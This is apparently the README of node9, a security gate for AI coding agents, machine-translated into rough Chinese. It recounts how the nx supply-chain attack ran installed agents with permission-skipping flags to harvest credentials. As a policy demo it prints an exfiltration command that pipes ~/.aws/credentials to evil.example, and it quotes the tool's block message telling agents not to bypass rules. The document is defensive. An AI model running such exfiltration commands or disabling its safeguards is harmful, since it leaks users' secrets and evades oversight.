🛡️node9
AI代理的访问控制
你的人工智能代理可以访问Slack、GitHub、电子邮件和你的数据库。
Node9决定如何处理每个节点。
凭据监狱 · 机密和个人身份信息 · 破坏性的git, SQL和shell保留以供审查 · MCP工具钉钉 · 网络出口允许列表 · 回路断路器 · 一条记录跨12个代理
适用于 Claude Code·Codex CLI·Antigravity (agy)·GitHub Copilot CLI·Gemini CLI·Cursor·Windsurf·VSCode·Claude Desktop·Opencode·Pi·Hermes Agent·任何MCP服务器.
它是什么样子的
安装了node9的真实Claude Code会话。检查每个工具调用 在它运行之前。构建页面和编辑按钮运行。对云的请求 元数据地址被阻塞,代理得到原因并继续。 删除文件等待您的批准,就在聊天中。
安装
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
然后,在任何项目中:
node9 # first run: choose dashboard connection or local protection
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboard
要求Node.js 22+。
在一个新的交互式终端上, node9 指导您完成设置。地方重点保护
无需解释。清单显示推荐护盾,DLP/PII,可选
网络出口审核,后台服务。发送使用统计信息
只有当您接受单独的提示时。摘要列出了已配置的代理
以及任何需要注意的设置步骤。
运行 node9 setup 要重新访问设置,或 node9 setup <target> 配置一个代理。
配置完成后,裸机 node9 显示帮助。 node9 init 仍然是可用的;为
脚本使用 node9 init --recommended (没有问题,也没有遥测选项)。
--skip-setup 单独留下代理布线和服务安装。显式的
--mode 优先于检查表的标准模式推荐。
除非选择更改或显式标记请求,否则保留现有设置
一个更新。工作区策略在仪表板中进行管理;服务设置保持本地。
login 对执法没有任何帮助。 它把机器和工作空间连接起来
团队可以在每个人的笔记本电脑和CI上看到一个记录,集中设置策略,
并通过仪表板或Slack批准持有的操作。跳过它,node9可以正常工作
同样的,独自一人,离线。 node9 logout 再次断开与本地执法的连接
保持运行。
用作MCP服务器
node9还作为MCP服务器运行,因此代理可以读取其状态、状态和审计 记录和政策,并解释任何决定,从对话内部;
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server
任何MCP客户端都以相同的方式工作:命令为 npx -y node9-ai mcp-server
在工作室,没有API密钥。它在官方MCP注册表中被列为
io.github.node9-ai/node9.
这个问题
2025年8月,泄露的
nx 构建工具 提供了一个安装后版本
脚本寻找已经安装在开发人员的机器上的AI编码代理,然后运行
他们关掉了自己的安全标志(--dangerously-skip-permissions, --yolo,
--trust-all-tools)枚举SSH密钥、云凭证和钱包文件并编写列表
到磁盘。该脚本将结果推送到受害者自己的GitHub中的公共存储库中
账户。超过一千个有效的GitHub令牌泄露,还有云凭证,npm
令牌和大约2万份文件,这些文件来自代理正在执行任务的机器
告知。
这名特工不是袭击者。代理人是工具,没有什么能阻挡它和工具 文件。Node9的gate不是这些标志之一:它在钩子中运行,并且它持有的操作保持不变 即使在跳过权限启动代理时也保持。
node9对此做了什么
Node9位于代理和它调用的每个工具之间。证书监狱(~/.ssh, ~/.aws,
.env 默认情况下,文件(私钥)是打开的,并且不会运行对其中一个路径的读取。
代理人被阻止,被告知原因,然后你来做决定:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
该命令作为shell AST进行解析,而不是作为文本进行匹配,因此对读取的内容进行包装没有帮助。
echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example 被判定为阅读
的 ~/.aws/credentials,而不是 echo.
Node9是 门. 持有的操作在等待您时不会运行,如果您不回答 它仍然是阻塞的。其他的都可以写入记录。
它不能做什么: 在关闭出口控制(缺省情况下)的情况下,将发送一个
文件直接传到网络,如 curl -d @~/.aws/credentials,不被视为读过的
该文件。 node9 egress protect 盖茨目的地也一样,它只涵盖shell命令。
自己验证一下
下面不需要帐户或上传代码。 scan-repo 发送匿名使用计数
(没有存储库名称,没有代码);集 NODE9_NO_TELEMETRY=1 关掉它。
npx node9-ai scan # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
它所管理的
每一行都是一个功能,带有记录它的页面。医生是 参考;这个文件就是地图。
| 凭据监狱 | ~/.ssh, ~/.aws, .env 私钥被每个工具屏蔽,而不仅仅是shell | 文档 |
| 不间断的规则 | 破坏性的git, SQL没有 WHERE, curl | bash 和未经授权的 sudo,不配置 | 文档 |
| 机密和个人身份信息 | AWS密钥,GitHub和Stripe令牌,PEM密钥和卡片或SSN形状,在任何工具参数中,加上代理回写的后台扫描 | 文档 |
| 每个服务盾牌 | 为Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub和文件系统策划规则包 | 文档 |
| 内联审查 | 持有的操作在代理对话中或通过团队审批者询问您 | 文档 |
| 出口allowlist | shell命令可以发送数据的门,默认情况下关闭 | 文档 |
| MCP网关 | 包装任何MCP服务器,授权每个工具,并锁定工具定义,以便服务器无法在您背后更改它们 | 文档 |
| 沙盒 | 在具有内核出口允许列表和限定挂载的容器中运行代理 | 文档 |
| 姿势得分 | 使用修复每个发现的命令,这台机器的暴露程度如何 | 文档 |
| 回购扫描 | 找到一个局外人可以在CI或CLI中劫持持有您秘密的代理的工作流程 | 文档 |
| 会话历史 | 阅读在安装node9之前,这台机器上的每个代理已经做了什么 | 文档 |
| 实时监控和报告 | 一个终端仪表板,以及成本、工具、区块和爆破半径的窗口汇总 | 文档 |
| 技能将 | 在会话之间安装的Claude技能和插件的SHA-256验证 | 文档 |
| 金丝雀凭证 | 放了假钥匙,证明有人企图逃跑 | 文档 |
| Python SDK | 管理任何Python代理,而不仅仅是cli | 文档 |
完整的CLI和配置参考: node9.ai /文档. 图层是如何组合在一起的: 它是如何工作的.
学习
背景读书,要靠自己写。每页都说明node9没有涵盖的内容。
- 被劫持的特工能做什么?:一个受损会话的爆炸半径
- 人工智能代理是如何泄露秘密的:凭证实际带出的路径
- 克劳德代码安全:钩子,权限模式,以及它们不能停止的内容
- MCP安全: MCP服务器打开的工具面
- OWASP代理前10名:列表,映射到实际控件
比较
- Node9和备选方案:一个矩阵,包括node9得分较低的行
- 每个代理保险: 12个受支持的代理中每个代理所支配的内容
相关项目
- node9-pythonPython SDK
- node9代理安全: GitHub动作;
uses: node9-ai/node9-proxy@v2使用相同的引擎对每个PR进行闸门(它发送相同的匿名使用计数;telemetry: false(关闭)
企业
node9职业 增加了治理锁定、SAML/SSO、集中审计导出和VPC部署。看到 node9.ai.
许可证
apache - 2.0
建立在☕和健康的偏执之上。